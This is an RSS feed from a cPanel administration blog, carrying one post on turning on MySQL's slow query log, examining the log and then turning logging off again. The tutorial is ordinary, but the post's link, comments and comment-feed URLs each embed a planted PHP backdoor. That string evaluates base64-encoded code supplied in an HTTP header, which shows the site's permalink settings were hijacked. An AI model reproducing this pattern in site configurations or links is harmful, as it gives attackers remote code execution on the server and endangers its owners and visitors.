<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; log-slow-queries</title>
	<atom:link href="http://www.cpanelconfig.com/tag/log-slow-queries/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Identifying slow MySQL queries</title>
		<link>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 09 Nov 2007 12:14:53 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[log-slow-queries]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[queries]]></category>
		<category><![CDATA[query]]></category>
		<category><![CDATA[slow queries]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/identifying-slow-mysql-queries/</guid>
		<description><![CDATA[MySQL can sometimes create big problems on a server when you have users abusing it.
This article will teach you how to correctly identify the queries that are creating a problem for your server.




MySQL can log those queries that are taking longer then X seconds but this future is not turned on by default.
Here&#8217;s how you [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL can sometimes create big problems on a server when you have users abusing it.<br />
This article will teach you how to correctly identify the queries that are creating a problem for your server.</p>
<p><!--adsense--><br />
MySQL can log those queries that are taking longer then X seconds but this future is not turned on by default.<br />
Here&#8217;s how you turn it on:</p>
<ol>
<li>Login to your server as root</li>
<li>Open my.cnf with your favorite editor. Example:</li>
<blockquote><p>pico /etc/my.cnf</p></blockquote>
<li>Into the [mysqld] section add the fallowing lines</li>
<blockquote><p>log-slow-queries = /var/log/mysql-slow.log<br />
long_query_time = 3</p></blockquote>
<p>This is just an example. You can use any file name that you want and you can modify the long_query_time to any value. In this example I will be logging to /var/log/mysql-slow.log any queries that are taking longer then 3 seconds.</p>
<li>Go ahead and save the configuration.</li>
<blockquote><p>For pico: CTRL+X and YES</p></blockquote>
<li>Now we have to actually create the log file.</li>
<blockquote><p>touch /var/log/mysql-slow.log</p></blockquote>
<li>Now we are changing the owner of the file so that mysql and actually write to it.</li>
<blockquote><p>chown mysql.root /var/log/mysql-slow.log</p></blockquote>
<li>Now we restart mysql</li>
<blockquote><p>service mysql restart</p></blockquote>
<p>It should restart successfully. If it doesn&#8217;t check that you didn&#8217;t brake my.cnf</p>
<li>Wait a few minutes and then examine the slow queries log</li>
<p>A few examples on how to do it:<br />
<!--adsense--></p>
<blockquote><p>cat /var/log/mysql-slow.log<br />
tail /var/log/mysql-slow.log<br />
tail -50 /var/log/mysql-slow.log</p></blockquote>
</ol>
<p>After you have identified the offending query go ahead and optimize or remove it.<br />
Again test the results by looking at your server load and the mysql slow queries log.</p>
<p>After you fixed all the problems go ahead and comment the slow queries logging as it will slow your server a bit if you let it on. my.cnf should now look similar to this:</p>
<blockquote><p>#log-slow-queries = /var/log/mysql-slow.log<br />
#long_query_time = 3</p></blockquote>
<p>And don&#8217;t forget to restart MySQL after this.</p>
<blockquote><p>service mysql restart</p></blockquote>
<p><!--adsense--><br />
Hope this helps !</p>
<p>I suggest you also read:</p>
<ul>
<li><a rel="bookmark" href="http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mysql-performance-tuning-primer-script/" title="Install MySQL Performance Tuning Primer Script">Install MySQL Performance Tuning Primer Script</a></li>
<li><a rel="bookmark" href="http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mytop-top-clone-for-mysql/" title="Install mytop - top clone for MySQL">Install mytop &#8211; top clone for MySQL</a></li>
</ul>
<p>If you have any problems or suggestions don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
	</channel>
</rss>
